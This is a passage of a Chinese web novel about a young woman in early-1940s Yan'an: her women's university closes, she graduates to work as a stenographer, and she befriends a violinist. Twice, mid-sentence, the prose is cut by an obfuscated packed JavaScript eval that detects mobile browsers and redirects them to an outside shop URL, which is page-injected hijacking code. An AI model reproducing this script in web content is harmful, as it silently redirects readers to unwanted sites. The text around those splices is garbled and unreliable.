黄菲很少说话,满脑子飘荡的是《从军日记》之中这样的几句话,“谁知道这样轰烈,这样惊动全球的中国女革命先锋队,仅仅在短促的时间里像昙花般一现,就消灭了呢?可怜从万恶的封建家庭战斗出来底她们,以党为生命,以学校为家庭,她们将怎样活下去呢?” 谢冰莹的这几列文字,当初读的时候,虽然也曾经唏嘘,为她惋惜,不过并没有太多触动,毕竟谢冰莹是谢冰莹,自己是自己,新一代的女子,面对的已经不再是上一辈的社会,虽然自己的家庭是黑暗的,但黄菲有决心冲破它,认为自己一定能走出一条不一样的路来,可是如今,眼看着谢冰莹的命运就要重复在自己的身上,黄菲的心凉嗖嗖的,就好像浸在深秋的河水中。 上午之后的几节课,因为大家心里有事,都不能安心学习,好不容易到了中午,草草吃了午饭,一个个伸长脖子,望着日头盼着时间,就等着下午开会,只盼能够从校长口中听到不一样的消息。 到了下午两点,开会的时间终于到了,黄菲坐在礼堂的一个位子上,转头看看其她人,多数不自觉地扭着身体,显得十分的不自然,非常不安的样子。 不多时,校长走上主席台,此时女大的校长已经换成了李富春先生,李校长声音低沉地向学生们宣布了这一个消息,没有任何奇迹,女大要在九月关闭,听他这样一说,台下一些女生登时哭了起来。 李富春看到这样的情形,显然也十分难过,马上说道:“同志们,大家不要难过,虽然鉴于形势的紧张,女大不得不关闭,但是并不意味着今后就无处读书,中央决定,女大与陕公和青干校一起,合并为新的学校,延安大学,大家仍然可以在里面继续学习。” 接下来便是教育长张琴秋讲话:“同学们不要灰心,女大停办,不等于妇女同志就没有地方读书,希望大家在延安大学努力学业,为妇女解放,为中华民族的解放而奋发有为!” 周围依然是一片啜泣之声,黄菲的眼眶也湿润了,强忍着没有让眼泪掉下来,心头一片茫然,自己今后要怎么样? 12. 第十二章 毕业 第十二章 毕业 从八月到九月的这一个月,黄菲的心情是低徊的,那样的悱恻,简直如同一首词了。 就在女大宣布关闭的第二天,景斌兴冲冲地来找她:“黄菲,我的小说发表了,就在这一本杂志上!” 说着塞了一本书到她的手里。 黄菲没精打采的举起来望一眼,《西北文艺》。 见她迟迟没有动作,景斌等不及了,便伸出手来替她将扉页翻开,直接翻到自己小说的那一页,题目叫做《秧歌》,下面的作者署的是笔名,京文,是将他名字的两个字各取了一部分。 景斌没有留意到黄菲的神情,依然是兴致勃勃:“没想到这么快就发了出来,刚刚投稿一个月的,编辑和我谈过了,说我写得很好,这都多亏了你,如果没有你,我的文学之梦不会这样顺利,当年安娜从破产的危机中拯救了陀思妥耶夫斯基,我虽然比不得文豪,但你确实是从写字的困苦中拯救了我,一想到那么多字都要一个一个地手写,就感到手都要断了,等到将来……” 景斌滔滔不断地叙说着未来的计划,兴奋得脸上发红,满怀着对将来的希望,黄菲神游了一阵,实在忍耐不住,打断了他:“女大要关闭了。” 听了她这样一句话,景斌这才从自己的快乐之中脱离出来,片刻间脸上有些惭愧:“抱歉,黄菲,我太高兴了,一时竟然没有顾得上这件事,我本来也是要和你说,这件事太遗憾了,谁能想到不过两年的时间,当初那么轰轰烈烈的女大,就要停办了呢?这都是国民党的反动,他们封锁边区,让边区经济难以为继,为了缩减开支,这也是不得已,然而终究是让人难过……” 他口中絮絮叨叨地安慰,过了一会儿或许是见黄菲没有反应,终于止住了不说。 黄菲这时候幽幽地说:“如今我不但失掉了精神上的家园,连现实中的家园也失掉了。” 不仅无处安放灵魂,也无处安放身体。 见她如此悲伤,景斌同情之余,又觉得有一点好笑,强忍着没有乐出声来,很是认真地劝慰道:“并不是啊,虽然女大不再单独开办,但是学生都可以转去延安大学,我已经听说了,三个学校合并在一起,力量反而增强了,在延安大学,一定可以学到更多的东西,难道一定要开办一个单独的女子学校,才是妇女解放吗?与男子同校,就那么委屈吗?” 最末两句,他玩笑似的说。 黄菲两眼望着他,瞬间忽然觉得和他没有话可以说,是啊,就是很委屈啊,女子学校对于自己,就是很重要啊,九月就要转入新的延安大学,在那里并不是不可以继续学习,只是在自己而言,总好像偷了人家什么宝贵的东西,本来并不属于自己,却悄悄地占取了。 就好像从前,自己偶尔偷偷回去乳母家中探望她,和她说自己最近又读了什么书,詹妈妈一边做针线,一边神采飞扬地连连点头:“我的姑娘啊,可真是聪明,看读了这么多的书,我连名字都没听过呢,将来一定是要考状元的。现在民国了,没有皇帝了,不用女扮男装考状元了!” 詹妈妈虽然不识字,但是会讲《再生缘》,在鬼怪狐妖的传说之余,乳母极喜欢讲孟丽君,扮了男装去考状元,一众男才子都没有比得过她,后来在朝廷之中做了许多的大事,成为了宰相,说起这些故事,詹妈妈面色迷离,如梦似幻,仿佛去了另一个世界。 景斌安慰了她一阵,见黄菲的情绪依然不高,一时便有些气馁,想要告别她先回去了,然而这样终究觉得不太好,他绞尽脑汁地想新话题,忽然间想到:“啊呀,你知道吗?陈女士住进医院里去了。” 黄菲本来没有太多兴趣,不过见景斌挖空心思,很是努力,便感觉有必要回应一下,便问道:“是哪一个陈女士?” 景斌忙道:“就是陈学昭女士啊,说是吃了过量的安眠药,差一点死掉呢,好在给人发现了,赶快送去医院,真危险啊,她还怀着孕……” 景斌絮絮地讲述着。 黄菲这一下果真吃惊了:“是陈学昭女士,怎么会这样呢?她的爱人不是医生吗?怎么竟然会让她安眠药吃过量?当时爱人不在身边吗?” 陈学昭女士的丈夫何穆,是医学博士,在延安鼎鼎大名,那一次伤寒流行,出了很大的力。 景斌摇头:“不知道,现在想来很是后悔吧,当时没有在陈女士的身边。” 黄菲连忙问了几句陈学昭,得知她已经脱险,心思便又回到了女大的事情上,依然是低徊着,这一天的夜晚,两个人分别时,很是意兴阑珊,都觉得不像以往那样有趣味。 女大关闭的事是在八月初决定通知下来,不过正式的关闭,是要到九月,事实上在八月,得知了这个消息,就已经开始为新的学校做准备,大家纷纷收拾物品,并不是她们要迁移,而是为的另外两个学校的同学搬进来,延安大学就设在从前女大的地方,王家坪。 到了九月,一群青年学生涌入了延安大学,就是陕北公学与青干校的同学,有男生扛着重重的书箱,乐呵呵地说:“你们运气好,不用搬家,搬来搬去累死人了。”。 黄菲承担接待,递了一把零食过去:“吃枣子吧,延安出名的白蒲枣,这时吃刚刚好。” 虽然不必承担搬家的辛苦,然而放眼校园,一群群男同学分外刺眼,景斌已经开导过几回,“都是革命同志,在一起学习,有什么不好呢?”诚然无法反驳,终究仿佛是自己的地方为人占据了一般。 那男生接过枣子,往嘴里一丢:“又脆又甜。” 黄菲一边感伤,一边抓紧适应,毕竟还有将近一年的时间,这段时间的学业也是重要的,可是到了十月,忽然又是一个消息传来,速记班的学生都提前结业,现在工作战斗吃紧,岗位上需要她们,马上就要安排她们的任务。 黄菲听到这个消息,又是一阵吃惊,回到窑洞里和同学说:“真没想到,这么快就要离开学校。” 陈露云当即道:“真是的,铺盖都刚刚打开来呢,就要走了。” 然后她马上又说:“这样也好,你有了工作,就有津贴费,你坐机关当速记员,拿的钱应该比学校里作学生高一些吧?津贴费多一点,买东西更方便。” 陈露云前面一句感慨倒是还无所谓,后面几句话一出来,几个新的同舍学生登时都侧目了,这是革命青年吗?满脑子想的都是津贴费,买东西。 换了新学校,原本的住宿建制一定程度打乱,黄菲之前的宿舍同学,有一些搬到这一间窑洞,也有一些分散了,另外有三个人是新加入的,从前与陈露云不很相识,对她不够了解,此时一听她这样的想法,顿时大大出乎意料之外,作为有志向的年轻的革命者,进入工作岗位,不是为了能够尽早为革命事业出力吗?让中国人民的解放事业早日达成,然而这一位却只想着津贴,在她看来,大概有了一个职业,就等于有了一个稳妥的饭碗,今后不担忧吃饭,速记员属于机要岗位,津贴应该还比一般高呢,可以多买一点肉。 熊晖和潘岳荣在一旁倒是一脸泰然,她们与陈露云同学一年零三个月,对她的种种做派早就看惯了,起初自然是刺眼的,生活会上也多次提出过批评,然而陈露云真是个滚刀肉,只不过稍稍收敛,底子依然没变,潘岳荣甚至觉得,她只不过是更隐蔽了,让人更难发觉,本质依然故我,可是拿她也是没办法,此时轮到新同学来感受这一位的特立独行。 果然,不多时陈露云下炕打水洗脸,青干校的顾新实悄悄凑到熊晖旁边,说:“你同学怎么这个样子?” 熊晖把脖子一梗,道:“关我什么事?她现在也是你同学啊!” 顾新实便坐回自己铺位,不再说话。 黄菲接到了命令,便准备去机关,又过了两天,礼拜天她与景斌相会,景斌请她去合作社吃饭,两碗米饭,红烧肉,还有一碗虾米白菜汤,景斌的那一部小说十万字,一期刊登不完,《西北文艺》那边预备分五期给他连载完,景斌得了一些稿酬,就兑现了前言,请黄菲吃饭,本来早就说请饭,可是黄菲这一阵纷纷乱乱,就顾不得赴约,总算今天终于有了时间。 合作社的小馆子里,两个人坐下来吃饭,黄菲看着送上来的饭菜,笑着说:“大作家,多谢你,让你破费了。” 景斌伸出筷子指点着那一碟红烧肉:“你太客气,这一篇小说,有你一半的功劳,区区一餐饭而已,是你应得的,快吃肉。” 然后就自己夹了一大块,放进了嘴里。 黄菲笑着也夹了小小一块,慢慢咀嚼着,真香,好久没吃到这么香的肉,学校里每次改善伙食,都只是薄薄几片肉片,都是精瘦精瘦,没有肥油,吃到嘴里干巴巴的,没有味道,下馆子终于吃到了五花肉,带皮带肥肉,自己从前不爱吃肥肉,一看到就嫌腻,然而现在,颇能吃几块了。 两个人一边吃,一边谈着景斌未来的文学梦想,景斌这一篇小说,反响非常好。 黄菲也听到了:“我们的军事□□说,情节生动,词句质朴,没有知识分子惯有的造作,相当贴近群众,很能反映真实生活,看来知识分子是可以与工农结合的,作者是延安文艺界一颗新星,虽然目前星光还是小小的。他可不知道你是谁呢。” 这话是从黄菲口中说出,感觉自然不一样,景斌分外受到鼓励,设想未来更加兴味盎然,黄菲也随着兴奋了一阵,情绪终究又落了下来,叹道:“可惜我马上就要离开学校了。” 景斌微微一愣:“怎么?” 黄菲给他解释:“上级来了命令,要我去机关当速记员。” 景斌笑了:“这样也很好啊,学以致用,你的速记水平很不错的,完全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这并不是为了安慰黄菲,而刻意说的敷衍的话,黄菲的文化水平不要说在女子当中,就是放眼当今中国,也算是好的了,来延安之前,初中毕业呢,如今的中国,遍地文盲,绝大多数人都不识字,当然在景斌熟识的人之中,基本都是能读书的,但他很清楚地知道,那是因为自己所交往的都是知识分子,每个群体都有个圈子,自己就是在知识分子的圈子里前后左右地漂游,所以与朋友在一起,总能谈几句读书,然而整个中国哪里都是这个样子呢?所以黄菲即使作为一个初中程度的女学生,也已经是很不错的了,更何况又在女大学习了一年多的时间。 要说女大,虽然偏重于实务方面,在思想培养之外,主要是培养实用技术,以便未来谋职业,然而□□的水准那可是超一流,政治军事方面,单说客座教授,就有毛主席、周副主席、朱总司令、□□、洛甫、陈云,还有邓颖超、康克清这些出名的女杰,正式的□□,艾思奇讲哲学,陈伯达讲革命理论,音乐教师是冼星海、郑律成,文学导师是丁玲,这样的阵容,用东北话来讲,就是“杠杠的”,当初听黄菲一个个报出□□的名字,景斌也不由得要赞叹,这样的授课水平,真是相当的高了,所以女大的学生,学养是不差的,比如自己的女友,学业进展相当的快,让人惊奇。 然后景斌又说:“况且你有你的长处,你的旧学功底很好。” 这不是客气的安慰,实际真的是这样,景斌接受的主要是新式教育,而且偏重外国文学,黄皓的家中则是旧学氛围浓厚,黄菲的母亲卢兰玉,就是一个典型的旧式才女,大家闺秀,而家中的书房,用黄菲的话来讲,“走路的脚步稍重一点,便是浓浓的灰尘气息”,书页里的灰都震动了出来,烟腾腾的,都是很久远的书,几十上百年了,所以黄菲诗词上能行,也写得一手漂亮的毛笔字,过年的时候,是她给大家写春联,“地动山摇,神州齐抗战;天怒人愤,鬼域必灰飞”,横批“驱逐倭寇”。 景斌劝说了好一会儿,黄菲的心情终于有所好转,这时候她们看一眼碟子里,已经只剩下一小块肉,余下的就是一点点汤汁,景斌笑着把那一小块红烧肉夹到黄菲碗里:“快打扫干净!” 黄菲抬眼对着他抿嘴一笑,笑得甜丝丝的。 景斌把一块米饭在浓稠的肉汁里滚过,擦净了碟子底,一边咀嚼那一小团带了肉汤的米饭,一边说着:“肉太少了,只可惜如今的延安,稿酬不比从前,否则该要一大碗肉。” 实在是馋肉,尤其是男人,不能不吃肉的,对肉食有格外的渴求,方才劝黄菲吃肉,自己却先夹了一大块来吃,此时想一想,也觉得有点不好意思,然而当时看着这样一碟通红的五花肉,实在是顾不得了,眼睛发绿,胃里冒火。 黄菲笑着:“你多多地写小说,便能多多地赚稿酬,下一次请我吃大碗的红烧肉。” 景斌抬头笑道:“尽力尽力,只是又要麻烦你,让你费辛苦。” 13. 第十三章 年轻的速记员 第十三章 年轻的速记员 十月中旬,黄菲拿到了毕业证,是延安大学的毕业证,不是女子大学,虽然如此,她依然是把那一张证书按在胸口,贴了很久,这是自己学业的标志,证明自己曾经在这样高等的学府读过书。 在简单的毕业式后,黄菲便提着自己小小的一卷铺盖,背了一个包,去往分派的机关。 黄菲是在交际处的秘书处担任速记,到了那里,同志们热情欢迎,很快为她安排了住处,黄菲和另一个叫做“小焦”的女同志合住一个窑洞,毕竟是负担了工作的,住宿便不一样,不再是从前八个人一间宿舍,而是两个人住这一口小小的窑洞。 黄菲来到住处,这一天是礼拜三,大家都在工作,此时接近中午,窑洞中暂时没有人,黄菲放下铺盖与背包,先就拿起扫帚来,把窑洞里里外外打扫了一遍,离开学校时,她预备了一个馍,为的是怕万一来不及吃饭,此时刚好用到。 黄菲是做一件事情但凡开了头,不做彻底不肯休息的,她简单吃过之后,便又拿起一只面盆,绞了抹布,各处揩抹起来,就这样一直忙碌到将近黄昏的时候。 木板门“咯吱”一声,室内光线陡然明亮,一个二十六七岁的女同志走进来,一眼瞥见她:“呀!你来了!” 转头看看四面:“这么干净!” 黄菲朝着她一笑:“我叫黄菲,是焦同志吗?” 那个同志满不在乎地一摆手:“你叫我文俊就行了。” 然后往桌面上一看:“啊哟,这还有一瓶花!” 那一张简单陈旧的木板桌上,此时一个洋铁罐,上面印着“止咳保肺片”,里面插了一簇野菊花,花朵小小的,但是黄得灿烂,让这间窑洞一下子便明亮起来,炕里面墙上贴着的毛主席像,也显得更加辉煌了。 然后焦文俊“噗通”一声,一屁股坐在炕上,招呼黄菲也坐下来歇歇,两个人就聊了起来,黄菲自然是要问这位前辈,机关里的规则,焦文俊在这里工作了大半年时间,虽然也不是很久,毕竟比黄菲黄菲要熟悉,便笑嘻嘻地一件件事给她讲:“……早上八点钟吃早饭,中午十一点吃午饭,下午三点吃晚饭,要看准了时间,错过了便吃不到的……也不要太过紧张,都是革命同志,什么事都好商量的,没有那么难说话。” 黄菲不由得便向外面看了看天色,已经大约五点多了,早过了开晚饭的时间,焦文俊一看她这个样子,也明白了,呵呵地笑,伸手往东边一指:“出门往那边走一段,就是合作社,现在还有饭,你有钱么?” 黄菲点头道:“有的。” 然后从小包袱里翻出钱来,出了门,一路走向不远处的合作社。 当天晚饭后,黄菲简单擦洗了身体,刷牙之后,天已经黑了,她便和焦文俊坐在炕上说话,之后又是躺在那里说,说的都是机关里的事,“都要做些什么呀?是不是经常开会?要见许多人么?哎呀我不是很会说话……” 黄菲有一种年轻人特有的好奇心,焦文俊又很爱说话,于是两个人的话头简直停不下来,一直聊到了半夜,这才各自迷糊睡去。 从第二天起,黄菲便开始了在秘书处的工作,果然如同焦文俊所说,许多同志都是很好相处的,虽然自己刚刚走出学校,年纪很轻,资历又浅,但是大家对自己都不摆什么架子的,说话总是笑嘻嘻,遇到自己有困惑,往往抢着帮自己解答。 正式接触实际工作,黄菲才发现,虽然自己从前在学校,功课学得很好,也有为景斌作速记的经验,然而在正式的机关工作之中,还有许多要学,这就需要老同志的帮助,而同志们对自己都相当亲切,很耐心地指导,这让自己那一颗初入机关、难免忐忑的心,渐渐安稳下来了。 另外同住的伙伴也很好,焦文俊是一个很热闹的人,虽然有些粗枝大叶,但天性开朗乐观,整天总是笑呵呵的,仿佛没有什么值得忧愁烦恼的事,只要有她一个人在窑洞,就好像有一群人在这里,对着黄菲,总是能说很多的话,黄菲只需要适当地点缀几句,为她激发兴致,她便能滔滔地连续不断说下去,黄菲以为,有这样一个人,自己是绝不会嫌寂寞的。 过了大约一个月时间,十一月里,外面已经是北风呼啸,这一天晚上,窑洞里烧起热热的火炕,两个人盘腿坐在炕上,黄菲在油灯下面奋笔疾书,自己的第一份入党申请书。 旁边焦文俊两片嘴皮不停地碰着:“……应该多修厕所,机关倒是还罢了,好歹总有厕所,出去外面,总找不着茅厕,男同志到底方便些,找个墙角就解决了,我们女同志哪有那么大方?如今天寒地冻,男同志露天都难受了,冻成冰啊,更别说我们妇女同志……” 黄菲停下笔,抬起头来轻轻点了点:“从前在学校里,厕所修在山坡上,天一黑就不敢去。” “为什么?” “怕鬼。” “哈哈哈,还是小姑娘啊!年轻人,真有趣。” 黄菲抿嘴笑了笑,俯下头正要接续来写,忽然之间,外面传来一阵悠扬婉转的提琴声,不知是哪里发出,听得模模糊糊,但仍然能够听到。 黄菲竖起耳朵听了片刻,转过头来问道:“文俊姐,那是谁在拉琴?之前没有听见过的。” 焦文俊消息最灵通,本机关没有她不知道的事情,但凡有什么困惑,问她十有八九会知道。 果然,焦文俊竖起耳朵仔细听了听,两只手一拍,笑着说道:“莫非是她,我们新来的会计?听说本来是剧团里,拉小提琴的,就住在我们隔壁,大概明天你就能见到她。” 说着伸手往火炕内侧的墙壁那边一指。 窑洞很是隔音,原来就住隔壁。 黄菲有些惊讶:“拉提琴么?那为什么要到这里来?并不是这里不好,只是,学艺术的人转作会计,是不是有些荒废呢?” 焦文俊耸了耸肩,仿佛不很在意地说:“那谁知道呢?唉,黄菲,已经这个时候了,你饿不饿?” 黄菲咯咯地乐:“真有一点饿了呢,每天到了这个时候就很想吃宵夜。” 得说机关哪里都好,就是这个吃饭的时间,有点让人为难,早饭倒是罢了,十一点吃午饭稍嫌早了一点,但是也能接受,只是三点钟就吃晚饭,那时还是下午呢,早早就把晚餐吃完,到了七八点的时候就容易感觉到饿,倘若是要熬一点夜,晚睡一刻,比如现在,九十点钟的样子,就会更饿,简直肚子咕咕叫了,偏偏黄菲是要晚间看书的,所以每次到了这个钟点,肠胃就有点难熬,想吃夜宵。 这个宵夜的念头,黄菲平时不太愿意说出来,总觉得好像是有一点“资产阶级味道”,娇生惯养的大小姐,打牌看戏夜里饿了,叫厨房赶快送宵夜,一个革命者,是不该想着宵夜的。 焦文俊哈哈笑了两声,跳下炕来,从挂在墙上的棉袄口袋里摸出几个圆圆的东西,朝着黄菲一晃:“看看这个!” 黄菲仔细一看,是板栗。 “啊呀,哪里来的板栗?” 焦文俊得意洋洋:“今天出门,看到不知道是哪个机关的人在运栗子,袋子破了,从里面滚出几个来,我赶快捡起来藏在口袋里。” 黄菲笑着拍手:“呀,你真是运气得很!” 焦文俊把栗子放在炉圈上:“前面一路漏着,我就在后面一路捡,这个高兴啊!有老乡看到了,也过来一起跟着捡,可惜过不多时,给前面赶车的同志发现了,赶快封了口,就捡不成了。不过就这样也还行,等一下我们就吃烤栗子。” 半个小时之后,听到了栗子壳裂开口的声音,轻微的噼噼啪啪,一股香甜的烤板栗的味道飘了出来,直钻进人的鼻孔,焦文俊用两只筷子飞快地把破了口的栗子夹起来,放在一个铁盒盖上,一共九只栗子,哈哈笑道:“这就是火中取栗!这五个是你的。” “啊,我不要这么多,这一个给你。” “你吃吧,正在长身体的年纪呢。唉你今年多大了?” 黄菲挺起了胸:“十九!” 按中国岁来算,比西洋算法大一岁,显得自己更成熟一些。 焦文俊不住地乐:“那也还小得很。黄菲啊,我问你,你来了这一阵,对咱们机关的感觉怎么样?” 黄菲吃着香喷喷的栗子,眼睛弯弯的:“很好啊,同志们很好相处,大家对我都特别的好,这就是我之前一直想的,革命大家庭。” 然后黄菲就扳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344744|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着手指,述说着同志们对自己的亲切温暖。 焦文俊一边听一边乐,很是随意地点着头:“嗯,是啊,大家对你是很好的。” 得说小黄,是个不错的同志,虽然年轻,但是速记功底并不差,自己看过她做会议记录,那落笔刷刷刷的,而且人勤快,做事尽职尽责,她那一张嘴也甜,不是一般“飒爽英姿”的女同志,黄菲是很乖巧的,特别会体贴人的心意,虽然说话不多,但很让人爱听,所以同志们对她的印象都很好,待她友善也是很可以料想的。 另外黄菲还是一个相当单纯的人,就像延河的水一样清澈。 吃过了栗子,两个人又聊了一会儿天,便刷牙睡觉了。 两天之后,是礼拜六,当天工作结束之后,黄菲回到窑洞,今天这里安安静静,焦文俊是有爱人的,每到这一天,便要赶去与爱人见面,“过礼拜六”,要到周日的晚上才会回来,所以今天晚上和明天一个白天,宿舍都只有自己一个人。 黄菲已经在食堂里吃过了饭,此时洗脸刷牙,擦洗身体,把脏衣服丢到一边,留待第二天白天出了太阳再洗,白天洗衣服,总觉得能够暖一些,水不再那么冷了,省热水。 等到这些都做完了,一天的事务全部结束,感觉很是轻松,黄菲便坐在炕上看起书来,窑洞之中静悄悄,平时焦文俊在的时候,这里满是说话声,她一个人,就抵得上一个连队,热热闹闹,快快活活,此时她去和爱人在一起,黄菲独自一个,便没人说话,起初是有些不习惯的,不过到了这个时候,已经适应了,觉得这样也很是不错,自己可以静下心来看书,是另一种快乐。 黄菲手上拿着高尔基的《童年》,正在细细地读着,忽然隔壁的琴声又响了起来,微弱的提琴曲调萦绕在耳边,仿佛回声一般遥远,黄菲从书页上抬起了头,努力听着,听了一会儿,她放下了书,站起身来,穿上棉袄,吹熄了油灯,便走出门外,她刚一离开窑洞,便感到一股极冷的风对着自己吹来,于是黄菲三步并作两步,便到了隔壁的门前,抬起手啪啪啪地敲门。 不多时,里面的琴声停了,然后仿佛窑洞内有人在移动,一两分钟之后,门开了,一张二十七八岁青年女子的脸从门缝里露出来,两只又大又黑的眼睛向外面张望着。 黄菲冲着她一乐:“是胡瑾同志吗?” 胡瑾看着眼前的人,脸上的神情显然是在努力思索:“啊呀,是我们机关里的同志,我记得你,是做速记是吗?你是叫……” “我叫黄菲啊!” “哦对对对,是黄菲同志,你看看我这个脑子,明明昨天介绍过的,就是记不住。快请进来坐!” 机关里几十个人,事情又忙,没有太多时间交际,况且到现在仅仅两天,胡瑾只不过勉强能把会计科同志的姓名与人脸对上号。 胡瑾把黄菲让进了窑洞:“快上炕!外面很冷吧?” 黄菲也不客气,直接上炕,在延安学习锻炼了一年多的时间,她身上的小姐气息毕竟脱去了许多,不再那样拘泥于礼仪,外面真冷啊,明明只是几步路,就好像漫天风雪之中走了半夜一样,黄菲的两手冰凉。 胡瑾洗净了一个搪瓷茶缸,为她倒水,黄菲笑嘻嘻地脱了鞋坐在炕上,火炕烧得热热的,不多时便暖了过来,一边喝着热水,两个人一边开始闲谈:“胡瑾同志,啊呀我就叫你胡姐姐吧,那是你的提琴吗?拉得真好听,这两天都特别留意听你拉琴。” 胡瑾抿嘴一笑:“没有吵到你就好,之前还想着,幸好窑洞的墙够厚,否则打扰同志们休息就不好了。” 黄菲连连摇着手:“不打扰不打扰的,夜里读书累了,听提琴很能够醒脑,只可惜总是隐隐约约,觉得不够爽快,所以今天晚上特意到你这里来听琴,胡姐姐,你累不累?再拉一首好不好?” 胡瑾抬手抿了抿耳边的短发,笑道:“我拉起琴来是不容易感觉到累的,你愿意听,我便拉一支曲子,你想听什么?《军民进行曲》么?” 黄菲一脸兴奋期盼:“什么都好,我都喜欢听!” 胡瑾便拿起了小提琴,琴弓放在弦上,右手一动,轻盈灵巧地演奏了起来,窑洞中瞬间回荡起悠扬的琴声。 14. 第十四章 追逐星光 第十四章 追逐星光 这一年很快就过去,时间进入一九四二年,二月十四号除夕,黄菲是在胡瑾家里吃的年夜饭。 自从那一天夜间听琴之后,两个人的友情便迅速升温,不多久便好得让焦文俊诧异,曾经玩笑似地说:“整天到她那边去,就不怕我嫉妒?倒好像不是和我住一起,是和她同住。” 黄菲笑嘻嘻地拉住她的手:“文俊姐,我们一起去听胡姐姐的提琴!” 焦文俊一撇嘴:“我才不去,我不喜欢听洋人的那些玩意儿。” 虽然是高级中学毕业,但是与那些洋派的知识分子不同,焦文俊的情趣相当的中国化。 不过虽然是这样说,却依然是给黄菲硬拉着过去了,毕竟延安的文娱活动太少了,每次举办晚会,礼堂里密密麻麻的人,简直连一根针都插不进去,大家都极其兴奋,渴望看演出,紧张忙碌的革命工作当然是让人感到很充实,不过在工作之外,人还是难免希望得到一些娱乐与放松,所以晚会是宝贵的,节目哪怕略有一点粗糙,看着也是津津有味,往往参加了一次晚会,回来几天空闲谈天的话题,都是那一次演出的节目。 所以哪怕胡瑾拉的是西洋乐曲,焦文俊觉得也可以听一听。 胡瑾这一阵确实比较多地练习西方提琴曲,那还是因为与黄菲熟悉之后,有一次礼拜天,黄菲又过来听琴,胡瑾拉了几段延安的乐曲,黄菲忽然问道:“胡姐姐,我听说苏联有一个柴可夫斯基,作的曲子很好,你能拉他的曲子吗?” 胡瑾有些意外,看了看她,然后点点头:“能的。” 其实是俄国音乐家,那时候苏联还没有建立。 然后胡瑾略加回忆,便演奏了一段《D大调小提琴协奏曲》,胡瑾演奏得十分入迷,黄菲在一旁听得也很感觉有趣。 从此以后,胡瑾演奏的革命歌剧逐渐少了,西方提琴曲的数量加多,黄菲在她这边,听了满耳朵的《流浪者之歌》、《魔鬼的颤音》、《恰空舞曲》,单是《D大调小提琴协奏曲》,就听了几个不同的谱子,好些人都写过,调子自然不一样,只是名字都是同一个,仿佛懒得取名一样。 听得久了,黄菲便有了一些感觉,有一回胡瑾拉完一支曲子,停下来歇一歇,喝了几口水,然后含笑问她:“觉得这些曲子怎么样?” 黄菲想了想:“比起我们中国的曲子,又是一种味道。” 和延安那些雄壮的曲调很不一样,与自己从小听惯的桂戏更加是不同了,那种感觉虽然起初很是陌生,仿佛来自另一个世界,但是听多了一些,便觉得也很是优美,充满了新鲜的趣味。 于是黄菲便讲起了自己的感想,胡瑾很留意地听着,慢慢地与她谈了起来,欧洲古典样式的庄园,夏季里薰衣草的香气,河边磨坊的风车,清澈的莱茵河,娓娓地描绘,黄菲眼前仿佛展开一幅油画,异样地动人。 因为把黄菲当成了自己灵魂的共鸣者,胡瑾对黄菲的感情便迅速炽热起来,家里有什么好东西,总是记得叫黄菲过来吃,这一天是除夕,胡瑾想到焦文俊已经回家去了,那边窑洞里只有黄菲一个人,孤孤单单,除夕的机关晚餐,倒是能比平时好些,却也不过是黄金饭换了金银饭,炒白菜加一点点肉末,煮南瓜多几滴油花,大年夜吃食堂,实在有些无聊,她一个年轻的女孩子,又不怎么会做饭,虽然在学校里的时候,曾经去厨房帮厨,但谁都知道究竟是为了什么去的,黄菲烹调的手艺啊,实在很是一般。 这一点就得说到阶级性,虽然黄菲也控诉封建家庭的黑暗,但有钱人家的孩子,与穷人家女儿的苦法毕竟还是两样,黄菲在父亲的家中,用不着自己下厨,所以黄菲虽然是能将食物煮熟,要说味道究竟有多么好,就很难评论,所以即使她买来材料,在窑洞里自己烧菜,能改善的也是有限,所以胡瑾便提早约了黄菲,这一天晚上来自己家里吃饭。 除夕当天,黄菲早早地就来了,同胡瑾一起淘米洗菜,胡瑾居然有办法弄来白米,这实在是让人喜出望外,两个人就一边料理食材,一边说着话,小小的厨房里只有她们两个人,说话相当方便,胡瑾的丈夫正坐在房间里读着《解放日报》,孩子也从保育院接了回来,在客厅厨房乱跑着玩耍。 黄菲看着胡瑾的女儿,小姑娘大概三四岁的样子,有些瘦弱,但很活泼,时不时就会来抱住妈妈的腿:“妈,陪我玩儿!” 胡瑾连忙把她送出厨房:“去找你爸爸,这里又是火又是烟,没什么意思的。” 热油开水啊,很容易烫伤人的。 又招呼孩子的爸爸:“你陪她玩一下!” 胡瑾的爱人答应一声,放下报纸,俯下身来拍手对着孩子说:“妞妞,到爸爸这里来!” 好容易把小姑娘哄了出去,黄菲便与胡瑾谈起孩子的事:“之前有一个女大的同学,已经进了母亲班了。” 就是段葵芳,孩子生下来了,头痛的是奶水不足,她现在一心琢磨的,就是想办法弄一只羊,放羊挤羊奶,喂饱孩子,前两天还见到过来这边伙房后面捡煤核,预备后面蒸鸡蛋羹,如今她最重要的革命任务,就是保证孩子的健康,这未来的火种。 